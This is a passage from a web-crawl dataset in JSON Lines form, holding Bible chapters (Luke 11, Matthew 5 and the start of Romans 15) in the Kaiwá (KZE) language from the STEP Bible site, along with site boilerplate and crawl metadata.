0.9999980926513672}","num_words":688,"character_repetition_ratio":0.07,"word_repetition_ratio":0.006,"special_characters_ratio":0.151,"stopwords_ratio":0.113,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Luke 11\nÁánútumpaꞋo námúnaamo kwésen-kwasai.1 Ísu moórá-tawai Áánútuwe aaí kwésuwasa kwená kwayó-kwáásí máyówana Ísu simásuwowana kwená kwaásivinkemba moóráwai séna Ísóigoo Yóni nombá pétinkaiwai kwená kwayó-kwáásí agaráátínkáísasa Áánútuwe aaí kwésentemba kentáá agaráásínkénata Áánútuwe aaí senó súwana 2 Ísu séna Áánútuwe aaí sénááomba maará séꞋa seró.\n- kentáásivoo enáwíꞋa usáyaaitarain-awita\n- kesáá mósá kwémaraumne. kentááráꞋá kawáá-uwoya\n- kwésune.\nÍsunte Píyésepuntei kwaasái.14 moóráwai arumpimbá taraváá-kwámbá máyowana íma aaí kwésuwana Ísu mayauwówana kóúwana minkwáásígó aaí súwasa sáwívarawai awánésa táátavai uwasá 15 évakarawai sésa taraváá-kwántóntí kawáánáꞋá áwíꞋa Píyésepu asirayámbá amísana tokéna póna taraváá-kwámbá kwémaitiyuwaiye suwasá 16 évakarawai Ísumo sáwí-aimbo sínda isánáe sésa áraira Áánútumpakena kunkáana ímo awánáúnda-mayai máyénata awánaano suwaná 17 Ísu miwí tááma iséna simátimena séna moórá-andama ááiꞋa tiyésa pósa taaínkaar-umai mésa íma asiramáívakaamba kwémaewe. moórá-akumba usíyán-ákúmbá pósa taaínkaar-umai íma asiramáívakaamba kwémaewe. 18 Sáátáánigo kwaásimo ááiꞋo tiyésamo taaínkaaꞋo ésamo ésa íma asiramáívakaamba kwémaewe. kentávéꞋo sembá Píyésepu asirayámbá ámísana tokéna póna taraváá-kwámbá kwémaitiyuwaiye kwésemba 19 ánivo Píyésepuna asirayánkáꞋó taraváá-kwámbó kwémaitiyuwaundarakai kentí kwaásigwaraꞋa Píyésepuna asirayánkáꞋá taraváá-kwámbá maitiyúwáásino. mirán-áímbó síyasamo ésa kentí kwaási kampaꞋá kwésewe sénááowe. 20 ánivo kemá Áánútuna asirayánkáꞋá taraváá-kwámbá kwémaitiyuwaundayavena Áánútuna asirayámbá keinárawapimba kwévaarisaꞋa kwéawanaaowe. 21 asirayán-kwáásígó iwevóí tokéna kwená naakaꞋá kárákwiraisana kwená náaindaamba kaweꞋá umái kwáyáivo 22 moóráwai kwená asirayámbá usáyaaitaraiwai téna tainkámbai kwená iwevóí asiramái tátokain-iwevoi tayaviyéna kwená náaindaamba tayavírena taaín-timakaiye. 23 kembá íma kwésuwaꞋnaa-esa kesí namuro-kwáásíráámbá umái kwémaewe. íma súwaꞋnaa esa kwaási torupamái símémba kóyáwé kwéumagowe Ísu siráiye.\ntaraváá-kwánkó koyauwékain-kwasai.24 Ísu simásuwena moórá-aimba séna kwaási arumpinkémbá taraváá-kwánkó auwéna kavóná-maravaꞋa nombá íma kwáyáipaꞋa kogwénaaena séna náávara ménaumno séna avakáá uwááena séna tayauweréꞋa kesí naambá kwaási arumpimbá póꞋa koménaumne simásuwena 25 téna taawánaimba mindánkómbá kankambá kwiyúꞋmái kawer-umásukaisana taawánéna 26 tayauweréna avakaeté-taravaa-kwamba miwítí sáwí-mayai anómba uráawai kotíꞋmaena minkwáásígó arumpimbá tamáyáawana moórá-taravaa-kwamba arumpimbá máyáísana minkwáásígó sáwíꞋa umái máyáísasa naaémba sáwíva-taravaa-kwamba máyáawana kwemá anómba sáwíꞋa umái méraiye Ísu siráiye.\náraiꞋa tirunkó kaweꞋá kwéin-kwasai.27 Ísu mináímbá simásuwowana sáwíva-kwaasivinkemba moórá-ininko Ísuntavena anónkaꞋa séna enanó embá maránkarena náámba ámakaiwaimba Áánútu kaweꞋá umánkaraiye súwana 28 Ísu séna áraiꞋa sémpo Áánútu kwenáái ísámai kaweꞋá kwéowaima anón-kaweꞋa kwéumatinkaiye Ísu siráiye.\nímo awánáúnda-mayai mayaaó siráan-kwasai.29 súwasa sáwíva-kwaasi ÍsunopaꞋa tóyo uwaná simátimena séna ívéꞋo máyáan-kwaasi sáwí-kwaasiman-owe kentávéꞋa kwésemba Áánútumo aiꞋmákainamo e ímo awánáúnda-mayai máyénata awánaanomo kwésemba naaóváꞋá Áánútu Yónaamba uráintemba kembá mirá ínívo mináímbá imáyáa oró. 30 naaóváꞋá Nínívaa-naopaken-kwaasi Yónaa uráintavesa Áánútu aiꞋmákaiye siráantemba kemó ondá awánéꞋa Áánútu aiꞋmákaiye sénááowe. 31 naaóváꞋá Yútaa-kwaasiraꞋa kárákwirowai áwíꞋa Sórómoni kawer-ímáyáávínkémbá aaimá kwésimatimuwana moórá-ininko némpaken-kawaa-ininko Sórómonin-aai koisánáe séna kweémena kuráiye. ívéꞋa kemá Sórómonimba usáyaaitaraundawai máyaunaꞋa kesáái íma kwéisaamba póna naaémba Áánútu kwaásimo máyáawaina ááintavena tísaa ínín-kanaa tínímba minínínkó keinárawaꞋa aaivimbá maitinkéna séna kemá némpakemba Sórómonin-aai taísaraumpo Sórómonimba usáyaaitaraiwai kentópaꞋa máyowaꞋa kwenááimo ísááraamba íma ísaraawe síníye. 32 naaóváꞋá Yónaa Nínívaa-naopaꞋa Áánútun-aai kosimátimuwasa isésa sáwí-imayaa tuwésa Áánútun-aai ísaraawe. ívéꞋa Yónaamba usáyaaitaraundawai máyaunaꞋa kesáái íma kwéisaamba póna naaémba Áánútu kwaásimo máyáawaina ááintavesa tísaa ínín-kanaa tínímba Nínívaa-naopaken-kwaasi keinárawaꞋa aaivimbá maitinkésa sésa Yónaa-aai iséta sáwí-mayai tukáundayaanivo Yónaamba usáyaaitaraiwai kentí naaópaꞋa máyowaꞋa kwenáái iséꞋo sáwí-mayaimo túwááraamba íma tukáawe Nínívaa-naopaken-kwaasi sénááowe Ísu siráiye.\ntúranko kentí imáyáavimbo sámo kwégain-kwasai.33 oómbó kúraꞋmaraamba íma aúpáꞋá maráíyamba avoraꞋá mayáíyasa naaúmpaꞋo iyíyawai awánanaaowe. 34 miráumai túranko kentí imáyáavimbo sáma kaí-yántááꞋán-iye. túrankomo kaweꞋó umáímo awánáínanamo éna amápar-imayaa sáma káníye. túrankomo ímo kaweꞋó umáímo awánáínanamo éna amápar-imayaa túnkwiniye. 35 kentí sáma kaí-yántááꞋá túnkwiyavainivo kentúraꞋa kárákwimai kaweꞋá oró. 36 kentí imáyáago íma túnkwimba amápaꞋa sáma kwégaimba oómbá sáma kamátinkaintemba póna kentí imáyáago kentúraꞋa sáma kamátinkaniye Ísu siráiye.\nmono-káwáá-kwáásí sáwíꞋa owé siráin-kwasai.37 Ísu mináímbá simásuwowana moóráwai ámáán-kawaa-kwaasigo ÍsunopaꞋa téna séna kesí naaúmpaꞋa toómbá umandaaó súwana toómbá naaíndayavena uména 38 íma ayáámba sese umásuwena toómbá kwénowana minkwáásígó awánéna áátavai éna imáyáa úwana 39 Ísóigo awánéna simámena séna kemá ámáán-kawaa-kwaasi anavéúne táávere paákáré suꞋmai kwésese ovo andáámpaꞋa sáwíꞋa uráisaꞋa túran-anda kwéeꞋa sáwíꞋa kwéowe. 40 sáwí-imayaagwara-kwaasi máyáawe. Áánútu paáká-tántááꞋá éna andáámpa-tantaare imáyáawe mindágwaraꞋa uráiye. 41 kentí imáyáamo arupí éꞋo kemó makén-tantaaꞋo ímo makén-kwaasi timéꞋo éꞋa kentí imáyáao kaweꞋá íníye.\n42 kemá ámáán-kawaa-kwaasi kentí kígauvakemba sáwíyan-tonkwaraꞋa taaínkaar-umai siyáánkai makéꞋa moórá Áánútumba kwéameꞋa kaweꞋá kwéeꞋa mirán-áímbá ísámai iyéꞋanivo anón-amaamba iváꞋá tuꞋmaréꞋa póꞋa Áánútumba íma imáyáa kwéameꞋa óísaniyaain-kwaasi sáwíꞋa kwéumatinkaantavai kárákwiyoro. 43 kemá ámáán-kawaa-kwaasi monoꞋ-náúmpáꞋá uméꞋa kawer-áyámpáꞋá kwaási túrankaꞋo umáémba tiráái kwétaiye. marupáꞋó umáyáawasa kwaási tuwánésa kawer-áímbó sembá tiráái kwétaimba póꞋa kentúraꞋa kárákwiyoro. 44 kwaásimo maipímbó utámakaawanamo kaviraisasamó kwaási ímo awánaantemba kentirumpimbá mirá isaꞋá sáwíꞋa kwéowasa kwaási íma kwétuwanaamba póꞋa kárákwiyoro Ísu siráiye.\n45 Ísu simásuwowana moóráwai ámáámba sún-kwaasigo Ísuntavena séna mirámó sénda kentáágwáráꞋá simáíya sáwíta kwéumasinkaane súwana 46 Ísu séna kemá ámáámba sen-kwáásí kemó ámáámbo simátímén-ainko umbaí kwétiyaisaꞋa mináímbá íma kwétuwaꞋnaa-omba póꞋa kárákwiyoro. 47 kentíkwáꞋná Áánútun-aai simátímakaawai tínkamuwasa púwúwaꞋa utamátínkaraapaꞋa konaarirí kwéowe. naaóváꞋá kentíkwáꞋná uráantaveꞋa kaweꞋá uráawe séꞋa utamátínkaraapaꞋa konaarirí kwéomba póꞋa kárákwiyoro. 49 naaóváꞋá Áánútu kawer-ímáyáávínkémbá séna kesáái simátimenaaowaiye agaráátinkanaaowaiye tiꞋmáráanasa miwívímbá kwénaaiyasa évakarawai sáwíꞋa umátinkesa évakarawai tínkamiyasa puwónááowe Áánútumo siráimba mináímbá paáruraiye. 50 naaóvákwárá avumpinkwárá naaénkwaraꞋa Áánútun-aai simátímakowaima tínkamuwasa pukáantavai póna misáwíꞋó uráawaina anondá-meyamba ívéꞋo máyáan-kwaasitopaꞋa tíníye. 51 aivaꞋó tuvúwanamo pukáin-kwaasigo áwíꞋa Épeo naaémba moóráwai áwíꞋa Sékáraya anóm-bonoꞋ-naumpaꞋa máyowana moórá-ayampaꞋa Áánútuntavesamo ísámaimo póímo tuvúꞋmáímo agáyáan-ontan-tarei kwáyowana moórá-ayampaꞋa aivaꞋ-mónó-káwáánákówé suꞋmai iyún-ontama kwáyowana avumpimbá Sékáraya umáyowasa túvúwana pukáiye. minkáé-kwáásíráí avumpimbá tínkamuwasa pukáawaigwaraꞋa miwítí sáwí-meyamba ívéꞋo máyáan-kwaasi mayánááowe. 52 kemó ámáámbo sen-kwáásí árair-aimbo ímo aúpáꞋó tukáankakai mináímbá ísámai kawer-osinó. kemá íma ísámai kawer-ombá óꞋon-kwaasiti aambá aúnkaamba póꞋa kárákwiyoro Ísu siráiye.\n53 Ísu mináímbá simásuwena máápaꞋa kumúwasa ámáámba sun-kwáásíyé ámáán-kawaa-kwaasiye tirumpimbá áwááꞋa aéésa óꞋon-oꞋon-tantaatavesa áísaa umai ísáananamo 54 aaimó kaéꞋmái-aimbo sínaꞋo éꞋa aaivimbá mayankánáe sésa áísaa uráawe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Luk.11","date":"2018-04-24T16:22:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946807.67\/warc\/CC-MAIN-20180424154911-20180424174911-00017.warc.gz","language":"kze","language_score":1.0000027418,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000027418136597}","num_words":990,"character_repetition_ratio":0.047,"word_repetition_ratio":0.002,"special_characters_ratio":0.151,"stopwords_ratio":0.152,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Matthew 5\nÍsu omápaꞋa ména simátímakain-kwasai.1 Ísu máyowasa sáwíva-kwaasimo tóyo umbá tuwánéna omápaꞋa umáyowasa kwená kwaásiyomba torupamái máyówana 2 simátimena séna 3 Áánútu súwaꞋnaa ínkwáe sewáí Áánútu miwí kaweꞋá kwéumatinkena miwíráꞋá kwégawaaiye. 4 miwívímbá sáwí-imayaa kwáyáísana tirunkó umbaí kwétaiwai Áánútu miwí kaweꞋá kwéumatinkena etóyóí kwéumatinkaiye. 5 kesáváí túmo ímo maé kwéiyowai Áánútu miwí kaweꞋá kwéumatinkaimba pósa siráim-barama mayánááowe. 6 Áánútu siráintemba mirá ónáe kwésewai Áánútu miwí kaweꞋá kwéumatinkena kaweꞋó umáímo ménaaontavena kaweríꞋa umátinkaniye. 7 tirumbó kwéumatinkaawai Áánútu miwí kaweꞋá kwéumatinkena arumbá umátinkaniye. 8 tirumpinkémbó kawer-áíné suꞋmai kwésewai Áánútu miwí kaweꞋá kwéumatinkaimba pósa Áánútumba awánanaaowe. 9 kwaásivimbo paru umátinkanaaontavesa mayáí kwémayaawai Áánútu miwí kaweꞋá kwéumatinkena kesí iyámpóin-owe síníye. 10 Áánútuntavesamo imáyáamo ésamo arupí umáímo máyáantavesa sáwíꞋa kwéumatinkaawe. Áánútu miwí kaweꞋá kwéumatinkena miwí kwená kwaási-iꞋo ombá póna kwégawaaiye. 11 keinárawaꞋo kentávéꞋo asiramáímo máyáantavesa mindáyavesa sáwí-aimba simátinkesa sáwíꞋa umátinkesa óꞋon-oꞋon-kampar-aimba simátinkaamba Áánútu keinárawaꞋa kaweꞋá kwéumatinkaiye. 12 naaóváꞋó Áánútun-aaimo simátímakowaimo sáwíꞋo umátínkaraantemba ívéꞋa sáwíꞋa kwéumatinkaamba tirunkó kaweꞋá kwéinaꞋa aamoí éꞋa kwíyómpakemba kentí kaweꞋ-méyámbá mayánááowe Ísu siráiye.\nsán-kaí-áíné uwígón-aaiye Ísu siráin-kwasai.13 Ísu simásuwena simátimena séna marapáꞋó máyáan-kwaasivimba méꞋa uwígómó áséimo intenkáámbá kwéowe. mirá kwéombanivo uwímó sáwíꞋo énamo imbá íma kaweꞋá umái kéna íma áséi éna úwoisankaamba umágwisasa aampaꞋá tukésa kwénaaowe.\n14 marapáꞋó máyáan-kwaasivimba méꞋa sámo kaintenkáámbá kwéowe. ááraipaꞋo kwáyáin-daopaꞋo mósá awánaantemba keinárawaꞋa máyáawaina ááimba kwéawanaawe. 15 iramá oómbá kúraꞋmaresa íma aúpáꞋá maráíyamba avoraꞋá maráíyamba mindáópaken-kwaasi awánanaaowe. 16 miráumai sámo kaintembá kwaásivimba méꞋa sán-kamátinkaiyasa kentí kaweꞋ-máyáí tuwánésa kentivo kwíyómpaꞋo máyáiwai áwíꞋa mósá maránááowe Ísu siráiye.\nÍsu ámáámba siráin-kwasai.17 Ísu mináímbá simásuwena séna íma kentávéꞋa séꞋa Mósesi siráin-aine Áánútun-aai simátímakaawai siráan-aine iváꞋá túwáiwaiye íma seró. Áánútun-aai siráan-aimba íma tuwánaumpo siráanteniꞋo umáímo paárinintaveꞋa kunkáumne. 18 simátíménda ísáaro. kwíyómba maramá kwáyáísana póna Áánútun-aai kwaíkwaiꞋa kwéiye. Áánútun-aaigo amápaꞋa kwaíkwaiꞋa kwéimba póna mináínkómó siráinten-umai amápa-tantaaꞋa paáriniye. 19 miráumai Áánútun-aaivinkembo kítor-aimbo araaisésamo óꞋowantavesamo sésamo kwéundantemba mirá ínímba mindá kanaán-iye síyanamo éna Áánútu séna kesí kwaási kawááunda-kwaasivinkemba íma asirayán-kwáásímán-owe sínívo Áánútun-aaimo taagwiyavésamo simátimesamo sésamo Áánútun-aai ísáaro kwésewaiyavena Áánútu séna kesí kwaási kawááunda-kwaasivinkemba anón-kwaasiman-owe síníye. 20 moórá-aimba simátimunda ísáaro. ámáán-kawaa-kwaasiye ámáámba sen-kwáásíyé sésa Áánútumo siráintemba umái máyaumnemo sembá kampaꞋá kwésewe. miwímó ontembó keinárawaꞋo éꞋa Áánútumo kawááipaꞋa íma méꞋa Áánútumo siráintemba áraiꞋa mirámó éꞋo éꞋa Áánútumo kawááipaꞋa ménaaowe Ísu siráiye.\ntínkamon-aimba siráin-kwasai.21 Ísu maarán-áínkwáráꞋá séna naaóváꞋá Mósesi kentíkwáꞋnáyavena simátímakain-aimba ísaraamba maará séna tínkamiyasamo puwónááoniꞋa íma oró. mirámó íyasamo ésa aaivimbá maitinkánááowe siráimbanivo 22 simátimeꞋa séꞋa miwítí kwaásiyavesa aaisambá kwétiyiyawai aaivimbá maitinkánááomba mindá kanaán-iye. miwítí kwaásiyavesa sáwí-aimba simátínkáawaima tíꞋmaesa aaimó ísáawaitopaꞋa mátinkaiyasa aaivimbá maitinkánááomba mindá kanaán-iye. miwítí kwaásiyavesa uwoꞋaó-kwáásíyáꞋo. úwoi-kwaasiyaꞋo. sésa simái sáwíꞋa kwéiyawai sáwí-meyambo mayánááopaꞋo iramó kwégaipaꞋa ménaaomba mindá kanaán-iye. 23 mirán-áímbá imáyáa ombá ÁánútuntaveꞋo imáyáamo éꞋo moórá-yantaaꞋo aménáeꞋo anóm-bonoꞋ-naumpaꞋo koméꞋo éꞋa kentí kwaási aaí tátokaiyaꞋo táákaꞋo makéꞋo éꞋa 24 Áánútumbo aménááon-tantaaꞋa óntan-taareigona egwaaꞋá mámareꞋa mináímbá koísámai arupí umásuweꞋa koyauweréꞋa Áánútumba áméro. 25 aaimó simátinkanae síyawaimo tíꞋmae kwíyasa aampaꞋá mósimai paárumasuwesa koró. anón-kwaasimo mátimiyasamo ésa i-kwáásí timíyasa ándá-naumpaꞋa tinkánááowe. 26 ímo mirámó íyasamo ésa ándá-naumpaꞋa mótinkaiyasa íma ááéma ánásanaumne sésa amápaꞋ-meyamba tímatuwaiyasa ayútinkanaaowe Ísu siráiye.\naarakwáꞋó tasáén-aimbo siráin-kwasai.27 Ísu mináímbá simásuwena séna naaóváꞋá Mósesi simátímakain-aimba ísaraamba maará séna óꞋowi tuwainímbááre tuwaiꞋmááte íma nááóro siráimbanivo 28 simátimeꞋa séꞋa moóráwaimo moórá-inimbo awánénamo tavisénáe sénamo ínímba íma avoraꞋá ínívo imáyáaneiye suꞋmai tavisínana Áánútu séna imáyáavinkemba áꞋa kwéyavisiye síníye. 29 túrankomo sáwíꞋo ínaꞋa misáwí-ámpáꞋá kúnavo séꞋa moórá-turamba pítuwaaro. kae-túrándéímó awánéꞋo éꞋa sáwí-marupaꞋo iramó kwégaipaꞋa kónááomba mindá sáwíꞋan-iye. sáwíꞋo uráinda maisuwéꞋo máyáamba mindá kaweꞋán-iye. 30 tiyáánkomo sáwíꞋo ínaꞋa misáwí-ámpáꞋá kúnavo séꞋa moórá-tiyaamba arátúwáaro. kae-tíyáámbó kwáyainaꞋo éꞋa sáwí-marupaꞋo iramó kwégaipaꞋa kónááomba mindá sáwíꞋan-iye. sáwíꞋo uráinda maisuwéꞋo máyáamba mindá kaweꞋán-iye.\n31 naaóváꞋá Mósesi maará séna moóráwai awainínkómbá aiꞋmátuwaindawai aúváívimba agaimaréna séna kesuwainímbá aiꞋmátuwaumne séna agaimái amiíno siráimbanivo 32 simátimeꞋa séꞋa awainínkó íma moórá-kwaasigoe kwénaaisana awaikó aiꞋmátuwaisana minínínkó kówéna moórá-kwaasi komairéna minínínkó aúná-kwaasigoe kwénaaimba sáwí-amba kwénaaiye. aivar-áwáíkómó aiꞋmátukaintavena mirá kwéiye. moórá-kwaasigo aiꞋmátukain-inimbo kwémayaimba kwegwáráꞋá umóyámbá kwémayaiye Ísu siráiye.\namápa-tantaapimba íma matuwéꞋa seró-kwasai.33 Ísu maarán-áínkwáráꞋá séna naaóváꞋá Mósesi simátímakain-aimba ísaraamba maará séna Ísóigompata mirá ónaumne síyamba kampaꞋá seváínivo áraiꞋa séꞋa mirá oró siráimbanivo 34 simátimeꞋa séꞋa kemó mirá ónaumnemo síyambo éꞋa áraiꞋa mirá oró. kemó ímo mirá ónaumnemo síyambo éꞋa áraiꞋa íma mirá oró. Áánútu kárákwiraiwai kwíyómpaꞋa máyáivo Áánútu áwíkaꞋa íma matuwéꞋa seró. 35 Áánútu marapáꞋá kárákwiraipaꞋan-ivo íma mararáꞋá matuwéꞋa seró. Yérúsaremu-naopaꞋa Áánútu kárákwirain-daópaꞋan-ivo íma mindáópaꞋa matuwéꞋa seró. 36 avután-áꞋnóntáúráꞋá kaantáún-aꞋnontau íma kanaán-umai auréꞋa kaantáún-aꞋnontauraꞋa avután-áꞋnóntáú íma kanaán-umai auránááovo tiꞋnónkáꞋá íma matuwéꞋa seró. 37 kemó mirá ónaumnemo síyambo éꞋa maarán-áíné suꞋmai seró. owé mirá ónaumne seró. kemó ímo mirá ónaumnemo síyambo éꞋa maarán-áíné suꞋmai seró. aꞋáo íma mirá ónaumne seró. simátimunda-aimba Sáátáánigona imáyáavinkeniꞋa kwéowe Ísu siráiye.\nanondámo ímo tínkami-kwasai.38 Ísu mináímbá simásuwena séna Mósesi simátímakain-aimba ísaraamba maará séna moóráwaimo moóráwai aúrambo pítuwainasamo ésa kwená meéyámbá kwenaúramba pítuwanaaowe. moóráwaimo moóráwai áwááyaamba kútúyuwainasamo ésa kwená meéyámbá kwenáwááyaamba kútúyuwanaaowe siráimbanivo 39 simátimeꞋa séꞋa moóráwaimo sáwíꞋo umánkáimba íma anondá kwembá sáwíꞋa umánkaino. moóráwaimo ááꞋo tuwausínamo e íma kwembá inkamé ókwaraꞋa kwántáminana tuwausíníye. 40 moóráwaimo ená unáánkwátóiyavesamo mayánaunda póꞋa áíꞋmaeꞋa aaimó isáí-kwáásígónópaꞋa máánkareꞋa ókwaraꞋa mayánaumnemo sínamo e íma aꞋáo se paákár-únánkwátóigwaraꞋa amiyó. 41 moóráwaimo aampaꞋó tátorenamo séna kesí náaindaamba sáwíyankaꞋa súwaꞋnaa uwómó sínamo e íma aꞋáo se úwoi ayáátáákaꞋa áwaꞋnaa uwo. 42 moóráwaimo moórá-yantaatavenamo simiyó sínamo e úwoi amiyó. moóráwaimo moórá-yantaatavaimo kwááyu simiyó sínamo e mirá uwo Ísu siráiye.\nnamuro-kwáásí kaweꞋá umátínkáaro-kwasai.43 Ísu mináímbá simásuwena séna naaóváꞋá simátímakain-aimba ísaraamba maará séna kentí kwaásiti imáyáa oro. kentí namuro-kwáásí tíyámba umátínkáaro siráimbanivo 44 simátimeꞋa séꞋa kentí namuro-kwáásí imáyáa timéꞋa sáwíꞋo umátínkáawaiyaveꞋa túwaꞋnaa umai ÁánútumpaꞋa námúnaa seró. 45 mirámó ombá kwíyómpaꞋo kentivo máyáiwaina iyámpói-iꞋa kwéowe. Áánútu miráumai kaweꞋá umátinkena aaí sisaná aaꞋá kaisaná kawe-kwáásíráré sáwí-kwaasirare aaꞋá kaisaná Áánútu aaí sisaná aaꞋá tisaná arupí-kwaasirare ímo arupímo umáímo máyáan-kwaasirare aaꞋá kwétiye. 46 amáparawai kentí kwaásiti imáyáamo kwéowasamo ombá anondá miwítí imáyáa kwéowe. táákísimo máyáan-umoyan-kwaasi íma kawe-kwáásí ombánivo miwítí kwaásiti imáyáamo kwéowasamo ombá anondá miwítí imáyáa kwéowe. miráumaimo kentí kwaásiti imáyáawe suꞋmaimo kwéiyanamo éna Áánútu íma kaweꞋ-méyámbá timínívo kentí namuro-kwáásígwáráꞋá imáyáa tíméro. 47 amáparawai kentí kwaási-iꞋa umái kaweꞋá kwéumatinkaawe. Áánútuna aambó ímo kwárááwaigwaraꞋa mirá kwéowe. mirámó onten-umái kentí kwaásiye suꞋmai ímanivo kentí namuro-kwáásígwáráꞋá kaweꞋá umátínkáaro. 48 kentivo kwíyómpakewai kasenkuíꞋa umái máyáimba mindáyaveꞋa imáyáa éꞋa kasenkuíꞋa umái máéro Ísu siráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Mat.5","date":"2018-04-24T18:31:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947033.92\/warc\/CC-MAIN-20180424174351-20180424194351-00386.warc.gz","language":"kze","language_score":1.0000065565,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000065565109253}","num_words":1106,"character_repetition_ratio":0.063,"word_repetition_ratio":0.007,"special_characters_ratio":0.153,"stopwords_ratio":0.152,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Romans 15\nÍsumo ímo kwesáváí-ímáyáámó uráintemba mirá oró-kwásái.1 kesáá Áánútuna aampaꞋá asiramáíya kwégwaraundawaiya Áánútuna aampaꞋó ímo asiramáímo kwégwaraawai túwaꞋnaa ono. sirááímo tainíꞋo kwéundayaawe suꞋmai íma imáyáa éta 2 kentáásí egwaaꞋó máyáawai Áánútuna aampaꞋá asirámae kónááontaveta miwíyáváígwáráꞋá imáyáa éta túwaꞋnaa ono. 3 Ísu Káráísiti íma kwesáváí-ímáyáá éna kwaásiyavena imáyáa uráiye. mindáyavena naaóváꞋá Áánútun-aai aúváívimba agaimaréna séna Káráísiti Áánútuntavena séna\nsimái sáwíꞋo umánkaraawai pósa kembá\nsáwíꞋa umásínkaraawe siráiye\nagaimaréna siráiye. 4 naaóváꞋá Áánútun-aai aúváívimba agaimakáamba maarán-áíntávésa agaimakáawe. súwaꞋnaa ínanaya íma ááéma sívón-káínata Áánútun-aaiyaveta asiramái imáyáa kwéeta kwesé ménaundayaveta amuꞋmaréta máyaumne. mindáyavesa aúváíma agaimakáawe.\n5 íma tívón-káínaꞋa asiramái máéro séna Áánútu kwétuwaꞋnaa-iye. Ísu Káráísitimo máyáintemba miráumai méꞋa keinárawapimba mimbórá-ímáyáá oró séna Áánútu kwétuwaꞋnaa-isaꞋa 6 póꞋa mimbórá-ímáyáá kwéeꞋa mimbórá-áímbá kwéseꞋa Áánútu áwíꞋa Ísóigo Ísu Káráísiti avowa áwíꞋa mósá máráamba mindáyaveꞋa námúnaa kwésune.\nÍsu Ísareri-kwaasiye óꞋonkaa-kwaasiye túwaꞋnaa uráin-kwasai.7 Ísu Káráísitimo keinárawatavenamo aamoí kwéintemba keinárawapimba moórá-morawaiyaveꞋa aamoí kwéeꞋa mirámó kwéowana Áánútu áwíꞋa anómba kwéiye. 8 naaóváꞋá Áánútu Yútaa-kwaasiya síkwáꞋnáyavenaya simái asirámarowana Áánútumo siráintembo íníntavena minásíráyán-áímbó paárinintavena Ísu Káráísiti kumbéna Yútaa-kwaasi túwaꞋnaa úwasa 9 óꞋonkaa-kwaasi sésa Áánútu arumbá umásínkáísata kwenáwíꞋa mósá maráúmne sénááontavena Ísu Káráísiti kunkáiye. mináíntávéna Áánútun-aai aúváívimba agaimaréna séna\nóꞋonkaa-kwaasivimba máyaunda enáwíꞋa mósá maréꞋa monor-ímó kwésunda enáwíꞋa mósá kwémaraumne\nagaimaréna súwana 10 moórávaꞋa agaimaréna séna\nóꞋonkaa-kwaasiyono. Áánútumo ítámakaiwaiye tirunkógwáráꞋá aamoí íno\nagaimaréna súwana 11 moórávaꞋa agaimaréna séna\nóꞋonkaa-kwaasiyono. Ísóigo áwíꞋa mósá máráaro. amáparawaise kwenáwíꞋa mósá máráaro\nagaimaréna súwana 12 Áánútun-aai simátímakowai áwíꞋa Áísáya agaimaréna séna\nTévíti avowa áwíꞋa Yési kwenándárakemba moóráwai paárínana óꞋonkaa-kwaasiraꞋo kárákwiyinintavena Áánútu usásinankainasa kwembá amuꞋmarésa ménaaowe\nagaimaréna Ísu Káráísitintavena siráiye. 13 kwesé ménaaomba amuꞋmaréꞋa máéro séna Áánútu kwétuwaꞋnaa-iye. kwesé aráápamai máyáantavena paru umátinkena tirumbá kaweꞋá umátínkáísana kwenamankó asiramátínkávaꞋa kwéiyisaꞋa kwesémó ménaaomba amuꞋmaréꞋa máyáamba mindáyaveꞋa námúnaa kwésune.\nÁánútuna mayáí kwémayaundayavai aamoí kwéune siráin-kwasai.14 kesí kwaásiyono. imáyáamo kwéunda-aimbo simátíménda ísáaro. kawe-kwáásí-úramba póꞋa kawer-ámbó kwégwaraan-aimba amápaꞋa iséꞋa kanaán-umai kwéagaraatinkaawe. keinárawataveꞋa mirán-ímáyáá kwéune. 15 maanáúváívímbá évakar-aimba asiramái simátimunda mináímbá imáyáa ónááontavena íma sááꞋa kwégaisaꞋa súne. óꞋonkaa-kwaasivimba Ísu Káráísitina mayáí 